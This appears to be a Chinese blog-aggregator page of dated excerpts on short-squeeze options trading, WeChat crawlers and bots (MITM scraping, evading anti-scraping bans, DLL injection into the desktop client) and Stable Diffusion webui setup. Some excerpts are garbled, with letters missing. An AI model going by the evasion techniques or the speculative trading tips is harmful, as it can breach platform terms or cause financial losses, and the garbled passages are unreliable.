随着无限利润的可能性，参与逼空可能既刺激又有利可图，看上去是一个不错的策略。然而逼空也可能对空头持有人和卖家都带来风险。如果你决定参与这些更高风险的动作，记住永远不要投资超过你能承受损失的金额。
我是如何参与逼空的
赌突发新闻太难了，所以我觉得赌财报日是一个不错的选择。被严重做空的股票有一个特点，如果有利好消息，股价会暴涨，比如我最近观察并且有参与的股票有：
- NVAX：财报好于预期，股价暴涨 27%
- CVNA：财报好于预期，股价暴涨 26%
- UPST：财报好于预期，股价暴涨 36%
当然也有财报不行，然后继续跌的，但是如果涨的话一般都是暴涨。所以我觉得财报前买一张末日 CALL 是一个不错的选择，虽然期权的 IV 值比较高，但是我觉得还是值得的。
关注高空头利息百分比，当某个股票的空头利息百分比超过 30% 的时候，我会关注这个股票，然后看看财报日，财报日前，我会买一张末日 CALL 当彩票，这个钱要做好归零的打算，所以不要投入太多。
查看被做空的股票
- Most Shorted Stocks - Benzinga
- High Short Interest Stocks
- Site Unreachable
- Short Interest - MarketWatch
PS：前两个网站数据每两周更新一次，后面两个网站没看到更新说明。
总结
逼空是一种高风险的投资策略，但如果您能够正确地预测逼空的时机，它可能会带来巨大的回报。选择财报日逼空是一个不错的选择，另外需要注意的是，逼空的股票基本面都不好，所以逼空的时候要及时出货。
- 博客 轶哥博客 2023-05-09 21:45:26<>在Widow上安装ryc通常需要使用诸如WSL2或Cygwi等解决方案。然而，这些方法可能会导致性能下降、系统资源占用高以及用户体验不佳等问题。因此，我们将通过一个简单的PowerShell脚本来安装cwRyc，避免上述问题。<>
请注意： 执行这个脚本意味着您同意cwRyc的相关协议。 - 博客 LoRexxar's Blog 2023-05-08 18:27:32
互联网发展零零散散都要20多年了，技术发展的重心也一直在演变。今天这篇文章很特别，起因是最近有一些关于微信机器人以及公众号爬虫的需求，本以为这种老透了需求其实现在根本不需要花什么时间精力去搞，结果没想到这个东西在过去的十几年里经过了很多次变化，于是决定记录下这篇文章，一方面是留个技术存档，另一方面也是想看看10年之前的技术相比现在和10年之后发生过又或者会发生什么的变化？
公众号爬虫
公众号爬虫在我看来按理说应该是老掉牙的技术了才对，2012年8月17日，微信公众平台正式向普通用户开放。而正式上线则是8月23日，命名为“官号平台/媒体平台”。
基于搜狗搜索的爬取
微信从制作公众号开始其实意图就是在微信的平台基础上营造一个新的互联网生态，而公众号早期就有搜索和爬虫的问题在，而早期的微信公众号搜索大部分都是基于搜狗搜索制作的。
但比较麻烦的问题是，搜狗搜索在使用的过程过程中加入了很多很多限制。
- 大量请求之后会触发验证码
- 无法精确搜索指定公众号，输入公众号名会搜出多个公众号，且对应的文章链接是临时链接，几个小时之后会失效。
主要的问题就是后面这个限制，如果爬虫搜到的文章链接都是临时的，那你爬取的结果就只能用作临时处理，这显然不符合大部分人的需求。所以这种爬虫方式已经被废弃了，市面上主流的公众号爬虫都不使用这个方案。
2019年后这类爬虫工具纷纷失效
基于中间人的爬取
在搜狗搜索之后，爬虫的从业者又开始想点子了，既然没有办法在互联网上搜索到公众号，那就把视角回到微信上面，基于中间人代理的方式抓取数据。简单来说就是通过mitm来拦截微信中对公众号的请求，并对内容做处理。Github上高星的微信公众号爬虫都是基于这个方案制作的。很可惜的是，哪怕是最新的工具最少都是3年前才更新过。
这个爬虫有几个比较大的问题
- 必须独立使用一台windows服务器去做，因为微信只有win和mac版本，你想要把他跑在线上就必须搞一台windows服务器，而且还必须挂一个微信上去，成本就很高
- 微信在不知道什么时候做了额外的反爬机制，根据我的搜索应该就是22、23年左右添加的，触发某种反爬机制之后，惩罚从以前的封禁24小时修改成了永久封禁。这个封禁方式也很有意思，他阻止你访问微信公众号的历史列表
被封禁的微信账号不能访问公众号的历史文章，不影响其他的任何功能，比较有意思的一点是，这个功能我在新版本的微信中找不到了，换成了一个其他的页面。
如果你尝试使用中间人的方案去爬微信公众号的文章，那么你会在触发反爬规则之后被阻止访问触发规则的页面（我猜测是这样，我被封了3个号都没找到被封的具体原因），这样的话可以最小限度的避免对普通用户的影响，毕竟普通用户刷微信公众号的频率也很高。但事实则是，由于我们无法访问历史文章列表，即便我们还可以读取文章内容，但也无法实现自动更新了。
基于微信公众号的爬取
其实到上一个方案已经涵盖了99%的主流方案了，现在随便搜一搜微信公众号爬虫基本都是3年前左右的东西基本都是基于中间人做的，这也给了我很大的困扰，我不知道是不是真的有现在还能用的工具，但我的确找不到一个很靠谱的方案。
在我努力挖掘下，我找到了一些零散的接口，可以用来获取某些信息。
不知道大家有没有用过微信公众号的后台，新建草稿箱里插入超链接可以引入微信公众号的链接。
选择公众号之后可以通过下面的文章列表来查看，这里可以获取到所有的文章链接，然后再利用前面的中间人方案爬取文章内容。
这个方案最大的问题就是cookie会失效，不是全自动，就是需要每隔几天更新一次cookie还是挺麻烦的。
并且公众号的这个功能也有反爬，相比单篇的页面内容爬取，公众号的这个功能使用频率更低，你可能需要设置3分钟以上。但总得来说起码可以实现我们的目的。
爬虫本身
前面零零散散的讲了很多方案，现在我们把视角转回到这个事情本身上，看看问题的难点到底在哪里。
首先，爬虫的第一部分就是，标志微信公众号的东西是什么？
微信公众号和微信不太一样，没有微信号之类的存在，所谓公众号名呢更是可以修改，所以在公众号的体系下引入了名为biz的标志码，当我们随便打开一篇微信文章，就可以从源代码里搜到这个标志码。
这个base64编码过后的字符串就是微信公众号的id，通过__biz可以获取微信公众号的很多内容，其中就包括微信公众号的信息。在之前的很多文章当中，大量的引入了使用biz获取微信公众号信息的方案。
但不知道从何时开始，微信在这个页面加入了对应的限制，如果浏览器直接访问会返回。
这里插入一个笑话，我在搜索相关资料的时候看到的。:>
网上搜索到的信息到这里基本都是错的，事实上在现在微信的防护策略里面，是对页面的分级策略的，在pc版本的微信打开的每一个弹出窗口，大部分都是web页面，其中的区别是，点击链接只是单纯的使用内置浏览器打开页面，而点击内置功能，则可能使用在中间加入额外的限制以及权限验证，就比如前面的链接，就是验证了微信账户，如果没有相应的权限则返回”请在微信客户端打开链接”，这点可以用一个特殊的方式来验证。
1
Wechat.exe -remote-debugging-port=9222
通过加参数的方式打开微信并登录之后，随便打开一个页面，并访问http://127.0.0.1:9222/json，我们可以在返回中找到对应的链接，这个接口是webdriver的CEF协议接口。
而更大的问题在于，这套老版本pc微信被废弃了，新版本的微信废弃了这部分的实现方案。
我用了一些方案去调新版本的微信，我发现解决问题的难度已经远大于问题本身，于是，解决问题的方案还是回到老版本的方案中。
微信机器人
qq机器人
相比公众号爬虫来说，可能微信机器人对于很多人都是一个远古的记忆。比起微信机器人来说，其实大家了解更多的可能是qq机器人，又或者是基于微信公众号或者企业微信使用的机器人，再到后来大家比较熟知的类似于飞书机器人。但微信机器人其实是一个相对比较空白的场景，主要是定位的区别。
qq机器人的发展史及其复杂，早期的qq技术力比较弱，很多qq机器人的用的都是直接逆向qq用底层的接口实现的。甚至早期有大量的qq机器人就是直接用qq的接口重写实现。
到中期，以酷Q为代表的基于Docker和wine实现的酷Q on Docker成为更稳定和主流的实现方案，当然，在2020年由于腾讯的执法追责，酷Q下线，很多第三方QQ机器人就此结束。
当然除了早期的各种机器人以外，还有很多至今为止仍然好用的东西，其中一个很有名的就是mirai。
与此同时，QQ也推出了内置的机器人接口，甚至也推出了官方机器人可以直接添加到qq群里，除了qq群还有qq频道的专属机器人，开发者可以直接用官方的平台来定制化机器人实现。
相比QQ漫长而又复杂的变化来讲，其实微信机器人的演化更为粗暴。
微信机器人演化
早期的微信机器人大部分都是基于微信web版本
既然有方案，那自然也就有相对的方案，一个是web版本的微信在后续的更新中删除了很多很多功能，基本没剩下什么接口了，而且cookie的过期时间也被加速了，几个小时就会掉。另一个是现在权重低的微信号（小号、新注册的）根本就没办法登录web版本的微信，所以这个方案在后续的演化中被放弃了。
微信官方接口
类似QQ，微信相对的也拆分出了很多场景，在微信中承担交互作用的是公众号、订阅号、小程序。而公众号、订阅号和小程序都有相应的api和平台用于实现自动回复以及交互功能。
之前比较主流的机器人+扫描器场景，其实都是在这个基础上实现的交互方案，这个东西有api可以用，也有很成熟的库可以直接调。企业微信也提供了自建应用的方案来实现类似的功能。
作为机器人无法解决的问题就是群管理和好友管理问题。但其实微信也设计了相应的场景就是企业微信，在企业微信的后台可以直接新建客户群，并且依托客户群的功能来管理微信群。这里有个很大的优势是，微信群默认超过200人就不能通过二维码进群了，而客户群可以配置用一套模板自动建群进群，原意应该是为了维护私域客户群。
比如说如果想通过API来交互调用消息推送到所有客户群，企业微信也提供了相应的API，但是每个用户每天只能推送一次。
但是以上的所有方案里面最大的问题在于企业微信的很多功能都是需要认证之后才能用。
而且这个东西还挺坑的一点在于，这个认证不是直接付费使用，而是必须用公司营业执照或者法人代表等东西认证。
而更坑的是企业微信的外部群，就是前面提到的客户群，目前是阉割功能的，不能添加类似群机器人的东西。这个东西几年前就是这样，可能企业微信不希望你用这种方式管理群。
除了比较基础的群管理，自动回复等等以外，企业微信的小程序接口也是自由度相当高。这块东西是很多人使用企业微信的主因之一
在这里创建企业微信应用之后，可以直接通过相应的api来向应用发送消息，也可以配置api接受消息来实现信息的交互。
就比如现在很流行的给微信机器人接ChatGPT，其中就比如
就支持通过API接受消息来实现和chatgpt的交互。
但我又遇到了一个新的问题就是，怎么把企业微信的内部应用对外使用呢？正常来讲，企业微信自建应用主要是对内的，企业内部使用，企业微信本身其实没有设置相关的场景。
之前也看到过那种用这个方案实现应用对外共享的应用，他们直接选择建一个企业卫星来解决这个问题，用户可以直接加入企业然后使用工作台里的自建应用。
在我研究了一段时间之后，抛开企业微信的企业内场景，现在微信也提供了官方的智能对话接口可以实现类似于微信客服的东西。
在微信对话开放平台你可以自己注册一个自己的机器人，在这里你可以通过很多种方式配置自动回复，其中有比较简单粗暴的培养式，也有高级的基于接口开发。
除了简单的对话式设定，还支持高级的词典式解读对话。当然我觉得相对比较实用的是在高级对话里可以关联接口，甚至可以自定义接口，这就为这个接口增加了很多的可能性，你可以通过自定义接口来实现某些功能。
通过微信客服的接入功能，我们可以用微信的智能客服来替代原本只能自动回复的原客服机器人，用户可以在客户群里添加客服助理并对话。
)
我花了一段时间把相关的各种api都研究了一遍，但其中的问题都不少，主要问题就是他总是有各种各样的限制场景，相比可以自由操作的普通微信账号功能差距还是很大。
第三方接口
抛开官方提供的方案以外，和qq的方案类似，微信机器人也用了类似的逆向破解接口的方案来实现对部分功能的调用，其中很大程度上依赖的是历史版本的微信，这也得益于微信对于旧版本的支持，很多机器人运行的还算流畅。
我研究了很久，现在比较成熟的工具是可爱猫。
当然由于各种各样的原因，可爱猫现在已经没有公开的渠道获取了，想要的话需要找社群去弄。而可爱猫虽然是一个易语言写的工具，但是却实现了一套很成熟的http接口插件方案。
通过插件可以配合自己实现的web接口来实现各种各样的功能
整体还是比较简单好用的，唯一的问题是可爱猫在服务器运行会有很大的概率导致微信闪退，最关键的是无法稳定。我曾经稳定运行了半年，之后一直闪退怎么都开不起来，再到后来突然又好了。
除此之外，还有很多类似的方案可以直接操作微信的dll
但是这个东西最大的问题是容易封号。我了解了以下是第一次警告踢下线，第二次封号。
顺这个我也看了不少相关的东西，有比较靠谱的方案就是直接在桌面版的微信上注入DLL操作。
这个方案据说比较靠谱。使用这种方案最大的优势就是你可以操作完成微信中需要的各种部分，就比如监控管理好友、群，自动回复私聊和微信群消息。
写在最后
其实前面记录了那么多，大体上把过去的很多方案都聊到了，这篇文章其实是没有讲到什么新东西，主要是花时间在研究已经有的东西，其中遇到最多的问题，就是探索微信官方对于各类功能的程序是如何认可和定义的。这本身不是一个技术上的问题，所以很多部分只能逐渐探索，无法得到准确的结果。
- 博客 酷 壳 – CoolShell 2023-05-08 17:52:06
这两天技术圈里热议的一件事就是Amazon的流媒体平台Prime Video在2023年3月22日发布了一篇技术博客《规模化Prime Video的音视频监控服...
The post 是微服务架构不香还是云不香？ first appeared on 酷 壳 - CoolShell. - 博客 轶哥博客 2023-05-08 10:39:15<>本篇文章将介绍如何在 Vue3 中实现与 ChatGPT4 API 的对接。具体的后端 API 对接方式，还请参考这篇文章：《对接ChatGPT3.5/4的API实现打字机效果》。
- 博客 构建我的被动收入 2023-05-07 08:00:00ChatGPT的火爆出圈，让大家对NLP语言模型的发展历程产生了浓厚的兴趣。本文将从深度学习在NLP领域的发展历程，到大语言模型的发展历程，再到大语言模型的未来展望，带你一起了解NLP语言模型的发展历史。
- 博客 轶哥博客 2023-05-07 00:26:23<>在这篇文章中，我们将讨论如何通过修改EC寄存器来调整笔记本电脑的风扇转速。请注意，本文
不会给出直接的解决方案 ，而是提供解决问题的思路和大致方法。对于了解这些概念的用户，他们应该能够知道如何具体实现。对于不熟悉这些知识的用户来说，尝试进行相关操作可能存在很大的风险。<>进行操作前，请务必备份当前EC寄存器的值，并确保具备拆机、断电和恢复BIOS的动手能力。 - 博客 二丫讲梵 2023-05-06 07:14:59如要阅读全文，点击标题跳转。学习周刊-总第105期-一款有意思的终端中使用的网易云音乐
- 博客 轶哥博客 2023-05-04 17:13:09<>在Node.j 20版本中，你可能会遇到如下异常：
WARN GET htt://regitry.mj.org/chatgt/-/chatgt-5.0.10.tgz error (ERR_INVALID_THIS). Will retry i 10 ecod. 2 retrie left.coreack reare m@8.3.1 --activate - 博客 轶哥博客 2023-05-03 12:46:53<>在日常使用Viual Studio Code (VSCode) 的过程中，你可能会遇到
Ctrl + .快捷键被占用的问题。这个快捷键在VSCode中本来是用于快速修复（Quick Fixe）的，但有时可能会失效。究其原因，与输入法的中/英文标点切换快捷键冲突有关。本文将为你提供一种解决方法。问题原因
微软拼音输入法 ：微软拼音输入法中，中/英文标点切换的快捷键为Ctrl + .，与VSCode的快速修复快捷键冲突。微信键盘输入法 ：在微信键盘输入法中，“中文时使用英文标点”的功能也占用了Ctrl + .快捷键，同样导致冲突。
- 博客 小明明s à domicile 2023-05-03 09:46:03
前言
这小节我们开始学习 Stable Diffusion 里面的 VAE，它的全称是变分自动编码器 (Variational Auto-Encoder)，是机器学习中的一种人工神经网络结构。当然我们都不必了解的它的原理，只需要理解它是在 SD 模型的基础做微调的，类似于我们熟悉的滤镜，让生成的图片调整饱和度。
在页面上显示 VAE 设置
stable-diffusion-webui 默认页面并没有显示 VAE 设置部分，所以需要先设置一下。首先点击「Settings」，然后点左侧菜单的「User interface」这个 Tab，拉到下面有个选项叫做
Quicksettings list，在输入框里面添加,sd_vae,CLIP_stop_at_last_layers:
最后点击上面的「Apply settings」，在点「Reload UI」就会重新刷新页面，即可看到头部的 VAE 区域:
另外我也顺手打开了
Clip skip，在 C 站的图片参数中都有Clip skip选项，默认是 1，需要改成常用的 2，可以简单的理解这个值越高，AI 就会省略越多的分类细项。下载 VAE 模型
目前我们还没有任何的 VAE 模型，需要下载再使用。VAE 主要是从 Huggingface 下载，而 C 站 VAE 比较少，并没有一个专门的过滤分类，只能通过搜索框输入 vae 过滤:
另外一个方式是看主模型下的提示，很多知名主模型里面会有 VAE 相关的内容，例如有打包 VAE 的模型 (自带的就不需要额外加了)，或者在描述中建议你使用什么 VAE。
举个例子: RealDosMix 的描述中提到:
https://huggingface.co/stabilityai/sd-vae-ft-mse-original/blob/main/vae-ft-mse-840000-ema-pruned.ckpt https://huggingface.co/AIARTCHAN/aichan_blend/tree/main/vae Apply VAE. You will get better color results.
所以我们把这些 VAE 模型下载并把它放入到
models/VAE目录下:wget https://huggingface.co/stabilityai/sd-vae-ft-mse-original/resolve/main/vae-ft-mse-840000-ema-pruned.ckpt -O ~/workspace/stable-diffusion-webui/models/VAE/vae-ft-mse-840000-ema-pruned.ckpt wget https://huggingface.co/AIARTCHAN/aichan_blend/resolve/main/vae/Anything-V3.0.vae.safetensors -O ~/workspace/stable-diffusion-webui/models/VAE/Anything-V3.0.vae.safetensors wget "https://huggingface.co/AIARTCHAN/aichan_blend/resolve/main/vae/Berry's%20Mix.vae.safetensors" -O ~/workspace/stable-diffusion-webui/models/VAE/BerrysMix.vae.safetensors下载好，然后点击 VAE 设置项右边的刷新按钮就可以看到这些模型了: ...
- 博客 小明明s à domicile 2023-05-01 22:49:35
前言
这节主要介绍 stable-diffusion-webui 提供的脚本 (script) 功能。脚本和扩展一样也被独立出来，脚本主要是涉及生成图片的逻辑上，不涉及生成算法，类似于 Python 语言的装饰器的用途，可以在生成图片前按照规则调整提示词、参数值等内容，对于执行的每个步骤插入更多的操作。
脚本和扩展的区别
按我的理解，扩展是为了扩充 stable-diffusion-webui 的 UI 界面，所以会涉及前端的静态文件 (如 javascript、CSS 等），所以它会在 Web UI 页面上新增 Tab。
而脚本如其名字，是实现某个功能的 Python 脚本，突出轻便简单，写代码时需要继承
scripts.Script这个基类，按照对应的方法编写对应逻辑。脚本列表
项目的 wiki 有专门的页面:https://github.com/AUTOMATIC1111/stable-diffusion-webui/wiki/Custom-Scripts
这里面列出来当前全部的扩展，但是我还没有用到。目前只用到了官方项目中自带的一些:
ls ~/workspace/stable-diffusion-webui/scripts poor_mans_outpainting.py prompts_from_file.py prompt_matrix.py custom_code.py postprocessing_codeformer.py sd_upscale.py img2imgalt.py postprocessing_gfpgan.py xyz_grid.py loopback.py postprocessing_upscale.py outpainting_mk_2.py
这些脚本有的可以在
txt2img和img2img模式下都可以使用，有的只能用于img2img模式，请注意。接下来我重点介绍几个常用的脚本，其他的欢迎大家补充用途和用法
Prompt matrix
如其名字，按照不同的提示词生成图片矩阵。我们过去写提示词，就是一些标签然后逗号隔开。但是如果你想要了解或者不确定几个提示词的组合效果，那么可能你得多次生成，效率低也不方便。
而启用这个脚本后，可以使用
|语法分割词，这样会组成多个提示词组合让你一次性的看到效果:
可以看到正面提示词最后 2 个，用的是
headphones|,<lora:blindbox_v1_mix:1>| <lora:iu_V35:1>，这样就可以生成一个矩阵图完整的看到这两种 lora 模型以及是否戴耳机的效果:
图里面分别是
戴耳机用blindbox、戴耳机用iu、不戴耳机用blindbox、不戴耳机用iu。Btw，可以看到换个 Lora 会让效果差别极大~X/Y/Z plot
无论是初学者还是有一定经验使用 SD 的用户很多时候也不能确定各个参数到底取那个值是最符合需求的，按过去的模式只能是修改参数，然后生成图保存下来，在修改参数然后生成图。不断地循环，最终尝试出最佳的值。但是这个过程是非常漫长繁琐的，而这个
X/Y/Z plot脚本可以快速的放我们了解这些功能参数的意义和效果。接下来我们通过调整各个参数生成一个矩阵图，这样非常方便对比出参数的效果。首先看页面的选择 (提示词等还是用了之前生产的 一张图 ，额外加了个负面次
nsfw，也就是not safe from work，除此之外我指定了 seed 方便对比):
这个例子里 x/y/z 三个维度我都选择了，分别是:
- 采样器，右侧点击黄色图标可以列出全部的采样方案，我这里只列出了部分
- CFG scale。
5-15 (+3)表示从 5-12 范围内，按照 + 3 的方式递增，也就是5,8,11,14这 4 个值。 - Steps。
20-35 [3]是另外一种表达方式，是从 20-35 范围内，找 3 个值，也就是20,27,35这 3 个值。
注意，你选择的范围越大就越耗时（这是相乘的关系)，例如采样器本来有二十多种，我只选择了 3 种。可以通过这样的方式小范围的了解不同参数的值的效果，我这里是一个比较极端的例子 (完成生成大概花了 1 个小时)，如果经验多了会慢慢的知道不同参数什么值会更合理。
它的结果的图很大，我截个整体的图，在截取 step 为 27 的子图:
另外不一定需要三个轴都选择，可以只选 2 个甚至 1 个指标，然后生成参数值变化时对图的影响，但是要注意需要固定 seed。
脚本安装
目前安装脚本也有三种方法，没有推荐偏向，按个人习惯即可。
手动拷贝文件
第一种是直接把项目中的脚本拷贝到
scripts目录下，例如https://github.com/memes-forever/Stable-diffusion-webui-video可以这样:
```bash wget https://raw.githubusercontent.com/memes-forever/Stable-diffusion-webui-video/main/videos.py -O ~/workspace/stable-diffusion-webui/scripts/vid...
- 博客 晚晴幽草轩 2023-05-01 20:20:00
晚晴幽草轩 于 2014 年，采用 Hexo 所搭建；专注互联网开发，以及分享优质网站、AI 应用、效率工具、心得感悟等内容；至今已近 9 年。只不过它是本地 Markdown 静态博客，不能随时在线更新，已然不适如今之快节奏；每有新的见闻、感悟，有在以下几个在线平台进行记载：
- 倾城之链：基于 Vue2、Node.js 等技术栈，所搭建的在线导航平台，用以记录所遇见的有价值网站，每周定期更新。
- 静轩之别苑，由 Ghost 所驱动，2019 年 元月基于 Docker 部署于阿里云服务器，用于记录技术相关心得。
- 悠然宜想亭， 2021 年 3 月 基于 Flarum（一款优雅简洁论坛软件）所搭建的“社区型个人博客”，至今有记录文章近 300 篇，不定期更新。
- 半缘修道观 ，2022 年 11 月，基于 Memos 、 Docker Compose 所搭建的“个人微博/推特/备忘录📕”，用于记录学习、感悟、电影、投资、娱乐、科普、代码、 ChatGPT 等相关内容，不到半年已记录近 200 条，是目前更新最为频繁的平台。
除此之外，闲暇时间，有构建些 Web 应用，诸如：玉桃文飨轩 （Markdown 在线转图片）、素问智聊斋（ChatGPT 在线客户端），感兴趣朋友可移步以了解更多。后续如果有写值得分享的长篇，依旧会同步至「晚晴幽草轩」。
2025 年 5 月 02 日写于〔深圳福田〕
- 博客 轶哥博客 2023-04-30 23:50:01<>在We开发中，我们通常使用CDN（内容分发网络）来加速网站的静态资源（如CSS和JavaScrit文件）加载。然而，CDN有时可能会失效，导致网站加载速度变慢或者无法正常运行。本文将介绍一种优化方案，当HTML中引入的tyle或JavaScrit静态资源CDN失效时，自动切换为加载本地j/c。我们还将介绍一个名为 quotCDN to Local Fallack for HTML Filequot 的VSCode插件的开发和测试过程，以帮助您更轻松地实现这个方案。
前端静态资源CDN加载失败的优化方案
<>要实现这个优化方案，我们需要在HTML文件中添加一个特殊的ltcritgt标签，当CDN资源加载失败时，该脚本将自动切换到使用本地资源。具体实现方法如下：- 遍历HTML文件中所有引用外部CSS和JavaScrit资源的
ltlikgt和ltcritgt标签。 - 下载这些标签所指向的CDN资源，并将其保存到本地目录。
- 在每个
ltlikgt和ltcritgt标签中添加一个oerror属性，该属性指向一个名为loadFallackReource的函数。 - 在HTML文件中添加一个
ltcritgt标签，该标签包含loadFallackReource函数的实现，以及一个在页面加载完成后遍历所有带有oerror属性的元素并调用loadFallackReource的事件监听器。
- 遍历HTML文件中所有引用外部CSS和JavaScrit资源的
- 博客 轶哥博客 2023-04-30 11:59:48<>在本教程中，我们将介绍如何使用Ngix反向代理访问OeAI API，并提供相应的测试方法。主要目标是保证Server-et evet (SSE)类型响应的流畅输出，从而提供良好的用户体验。
- 博客 轶哥博客 2023-04-29 19:23:38<>本文将介绍如何解决在尝试 uh 到 GitHu 时遇到的 quoth: coect to hot xx.xx.xx.xx ort 22: Coectio timed outquot 错误。我们将通过修改 SSH 配置并使用端口 443 进行连接来解决此问题。
- 博客 LoRexxar's Blog 2023-04-28 18:56:52
在我们对ChatGPT的基础能力有了一定的了解之后，我们就要开始在ChatGPT的基础上探索更多的可能性。
而ChatGPT本身的问题也很多，ChatGPT在使用上最大也最明显的革命，其实是对自然语言的处理能力，抛开太多专业性的术语，你在使用的过程中也能明显感觉到，ChatGPT甚至在某些方面有着比正常人更厉害的解读能力，它可以把一段模糊的要求和文字解读成需求，最牛逼的是它还支持中文，毕竟理论上中文的自然语言处理难度是几个量级。
拿下面这个图举例子，我感觉我都没说明白，但却获得了答案。
除了强大的自然语言处理能力，以及大模型背景下庞大的数据以外。ChatGPT还有很多明显的缺点，其中最直白的问题就是数据的过时以及不联网问题。目前ChatGPT的训练数据集截止到2021年，而没有准确数据集的数据，ChatGPT就没有置信数据可以参考，而这类问题ChatGPT就会通过某种方式自我学习产生，而他的结果就会产生各种各样的错误。
当然，为了避免大数据污染等等问题，ChatGPT目前公开对外使用的接口，最多只会参考部分上下文以及限定单个对话session中做学习优化，但不会对用户的输入做学习。
为了解决这个问题，ChatGPT选择了用第三方插件作为媒介，让AI在比较安全的环境学习外界的数据，最早的合作公司由Expedia、FiscalNote、Instacart、KAYAK、Klarna、Milo、OpenTable、Shopify、Slack、Speak、Wolfram 和 Zapier 创建。
其中的各种插件可以覆盖大部分的场景，包括：
- 检索实时信息：例如体育比分、股票价格、最新消息等；
- 检索知识库信息：例如公司文件、个人笔记等；
- 代表用户执行操作：例如，订机票、订餐等。
除此之外呢，ChatGPT官方还提供了两个插件，一个是网络浏览器，另一个是代码解释器，并开源了一个知识库检索插件的代码。现在，任何开发人员都可以自行构建插件，用来增强 ChatGPT 的信息库了。从这里开始ChatGPT+的概念算是诞生。
虽然目前这部分的插件还只是开放给了候补名单中的用户和开发人员，但计划中即将开放给部分ChatGPT plus的用户了。
一些有趣的ChatGPT周边
除了ChatGPT官方的插件以外，还有很多以各种各样的方案实现的ChatGPT衍生产品，其中有很多意思的东西，这里我就推荐几个比较有意思的
WebChatGPT
https://chrome.google.com/webstore/detail/webchatgpt-chatgpt-with-i/lpfemeioodjbpieminkklglpmhlngfcn
WebChatGPT是一款Chrome的插件，它可以用一个特殊的方案来实现ChatGPT的联网，来让ChatGPT的返回数据更准确更新。
他的实现方案特别有意思，简单来说，他会先把你的问题拿去搜索引擎上搜，然后把结果喂给ChatGPT，然后让ChatGPT以搜索结果作为上下文学习，之后再回答你的问题。
插件安装成功之后，你的对话框上多了很多的参数
Web access（是否要开启联网功能）、X results（想要它列出几条来源）、Time（多久之前的资料）、Region（哪个地区的资料），以及最右边的Prompt（默认指令）
通过配置参数并开启，你可以获取到非常有时效性的内容，比如说询问天气。因为正常来讲你询问chatgpt天气会返回这样的内容。
但如果你使用这个插件，你就可以获取这样的结果。
但要注意的是，由于插件的实现方式（通过输入搜索内容关联上下文），使用WebChatGPT会大幅度削减原本对话中的上下文关联度，所以一般来说只有特定的场景下才使用这个插件。
Monica
这个插件是Google for ChatGPT的进阶，它集合了你在上网过程中会遇到的各种问题和场景，并通过chatgpt来辅助使用。
当然，这个玩意现在越来越成熟了，所以它也开始收费了，大家可以自己感受一下
这个插件最常见的功能就是搜索辅助，会直接对你google的搜索结果做优化，直接返回你i想要查询的结果。可以大幅度节省找到答案的时间。最牛的是，它还支持百度。
除此之外，还有一些比较有意思的东西，比如说划词右键解释
使用ctrl+m可以打开侧边，这里有两个功能，一个是聊天和写作辅助
它还可以提供阅读功能，可以直接给它一篇文章，然后让他阅读，他会直接给你返回文章的摘要。
你可以通过这个对话聊天功能来快速的阅读一篇文章。
AutoGPT
AutoGPT诞生没多久，比起这个东西本身的效果，AutoGPT本身的思路和理念很有意思，AutoGPT依托于GPT4强大的算力和思考能力，对你的需求进行解构深入。比较麻烦得是，AutoGPT对算力的依赖比较强，GPT3.5能用但是很难用。而且由于AutoGPT的理念
AutoGPT就像一个不知疲倦的实习生，他会对你下的指令进行多重解构，并对当前的问题持续发散探索更多话题。
这里有个小例子，假设我想要一个web扫描器但是没有指定任何要求（你可以通过增加要求来优化回答的导向
auto-gpt在分析了我的需求之后，提出了一个计划，是先去找一个网上的扫描器然后再根据需求改进，还提醒我小心代码的安全问题，不要盲目的clone代码。
如果我们继续让他分析，他会继续把分析的内容细化并深入，你也可以指定连续多步去分析。
当然除了让他继续分析，你也可以给与一些人工的干预，比如我说我不想要别人的代码，我想要自己写，他指出我们需要好好分析需求。
其实现在阶段的AutoGPT更多还是一个概念产品，使用上的体验更接近一个demo。比起实际意义，AutoGPT通过反馈较正的方式给我们呈现了一种机器思考的感觉，很有趣。
写在最后
这篇文章里我们讨论的大多都是现在已经成型的一些基于chatgpt的拓展，作为使用者我们能做的很多只有适应时代，下篇文章我们就讲讲，在chatgpt的基础上我们作为开发者能做什么？
- 博客 我爱自然语言处理 2023-04-28 14:22:49内容来源：ChatGPT 及大模型专题研讨会 分享嘉宾：新浪新技术研发负责人、中国中文信息学会理事 […]
- 博客 二丫讲梵 2023-04-28 01:48:54如要阅读全文，点击标题跳转。学习周刊-总第104期-一个优秀的基于Obsidian将笔记部署为博客的开源方案
- 博客 二丫讲梵 2023-04-28 01:45:51如要阅读全文，点击标题跳转。zsh 中有专门的插件来解决 docker 命令补全的问题，安装配置也比较简单，以下是操作的步骤。
- 博客 小明明s à domicile 2023-04-26 21:47:35
前言
这节主要介绍 stable-diffusion-webui 提供的扩展 (extension) 功能。stable-diffusion-webui 为了只保证核心功能并便于管理，将非核心功能解耦并转为扩展和脚本形式提供，这在很多知名项目都有相关实践。这节先介绍扩展。
扩展列表
项目的 wiki 有专门的页面:https://github.com/AUTOMATIC1111/stable-diffusion-webui/wiki/Extensions
这里面列出来当前全部的扩展，比如常用的:
- https://github.com/dtlnor/stable-diffusion-webui-localization-zh_CN 简体中文汉化
- https://github.com/journey-ad/sd-webui-bilingual-localization 双语汉化
- https://github.com/civitai/sd_civitai_extensionC 站的官方扩展，可以自动下载模型
- https://github.com/butaixianran/Stable-Diffusion-Webui-Civitai-Helper 另外一个 C 站的扩展
- https://github.com/DominikDoom/a1111-sd-webui-tagcompleteTAG 自动补全
- https://github.com/AUTOMATIC1111/stable-diffusion-webui-aesthetic-gradients 根据美学权重优化图片
- https://github.com/hnmr293/sd-webui-llul 用于给局部增加细节
- https://github.com/Scholar01/sd-webui-mov2mov 制作视频，之后我们还会用得到。
- https://github.com/CiaraStrawberry/TemporalKit 用于让视频顺滑，之后我们还会用得到它 + Ebsynth。
- https://github.com/canisminor1990/sd-webui-kitchen-theme 一个自定义主题，我这里只是提出这个思路，其实还有其他主题就不列出来了，我个人还是比较习惯原版 UI。
- https://github.com/AUTOMATIC1111/stable-diffusion-webui-rembg 移除图片背景（对，可以用 SD 抠图）。
扩展安装
目前安装扩展有三种方法，没有推荐偏向，按个人习惯即可。
本地克隆
如官方文档说明，直接克隆代码到 extensions 目录即可
git clone https://github.com/AUTOMATIC1111/stable-diffusion-webui-aesthetic-gradients extensions/aesthetic-gradients
通过 UI 界面「Install from URL」
点最后一个 Tab「Extensions」，再点「Install from URL」，和上面的方法差不多，UI 稍微封装了一下:
然后点「Installed」的「Apply and restart UI」重...
- 博客 LoRexxar's Blog 2023-04-26 19:04:11
